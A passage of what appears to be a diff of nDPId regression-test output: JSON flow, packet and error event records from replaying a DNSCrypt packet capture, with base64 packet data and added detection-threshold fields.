AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":24,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304363284,"flow_src_last_pkt_time":946739304363284,"flow_dst_last_pkt_time":946739304363284,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304363284,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":44491,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":47,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304363288} +00326{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304363288,"packet_id":47,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304363288} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":47,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304363284,"pkt":"REREREREZmZmZmZmCABFAABQylQAub0RTiQKAAABaO66wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":48,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304363289} +00326{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304363289,"packet_id":48,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304363289} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":48,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304363284,"pkt":"REREREREZmZmZmZmCABFAABQylYAub0RTiIKAAABaO66wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":2,"flow_src_last_pkt_time":946739304328530,"flow_dst_last_pkt_time":946739304367875,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739304367875,"pkt":"ZmZmZmZmRERERERECABFAADWmUVAADQRble5hsQ3CgAAASD76A0AwsG8fx2AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":2,"flow_src_last_pkt_time":946739304328639,"flow_dst_last_pkt_time":946739304369837,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739304369837,"pkt":"ZmZmZmZmRERERERECABFAADWmUZAADQRbla5hsQ3CgAAASD711MAwtJ1fx6AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} @@ -123,12 +123,12 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":58,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":26,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304599740,"flow_src_last_pkt_time":946739304599740,"flow_dst_last_pkt_time":946739304599740,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304599740,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":56035,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_src_last_pkt_time":946739304599740,"flow_dst_last_pkt_time":946739304599740,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304599740,"pkt":"REREREREZmZmZmZmCABFAAXcZhQgAL0R7isKAAAB0frxGdrjAbsGBM5Z8VQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":58,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":26,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304599740,"flow_src_last_pkt_time":946739304599740,"flow_dst_last_pkt_time":946739304599740,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304599740,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":56035,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":59,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304599754} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304599754,"packet_id":59,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304599754} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":59,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304599740,"pkt":"REREREREZmZmZmZmCABFAABQZhQAub0REv8KAAAB0frxGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":60,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":27,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304599762,"flow_src_last_pkt_time":946739304599762,"flow_dst_last_pkt_time":946739304599762,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304599762,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":37123,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_src_last_pkt_time":946739304599762,"flow_dst_last_pkt_time":946739304599762,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304599762,"pkt":"REREREREZmZmZmZmCABFAAXcZhUgAL0R7ioKAAAB0frxGZEDAbsGBBg48VYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":27,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304599762,"flow_src_last_pkt_time":946739304599762,"flow_dst_last_pkt_time":946739304599762,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304599762,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":37123,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":61,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304599775} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304599775,"packet_id":61,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304599775} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":61,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304599762,"pkt":"REREREREZmZmZmZmCABFAABQZhUAub0REv4KAAAB0frxGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":62,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":28,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304599857,"flow_src_last_pkt_time":946739304599857,"flow_dst_last_pkt_time":946739304599857,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304599857,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":37950,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_src_last_pkt_time":946739304599857,"flow_dst_last_pkt_time":946739304599857,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739304599857,"pkt":"REREREREZmZmZmZmCABFAAIcZhZAAL0R0ekKAAAB0frxGZQ+AbsCCIXq8VUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAAAcsADAHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -139,7 +139,7 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":30,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304599889,"flow_src_last_pkt_time":946739304599889,"flow_dst_last_pkt_time":946739304599889,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304599889,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":59367,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_src_last_pkt_time":946739304599889,"flow_dst_last_pkt_time":946739304599889,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304599889,"pkt":"REREREREZmZmZmZmCABFAAXcZhggAL0R7icKAAAB0frxGefnAbsGBMFR8VgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":64,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":30,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304599889,"flow_src_last_pkt_time":946739304599889,"flow_dst_last_pkt_time":946739304599889,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304599889,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":59367,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection 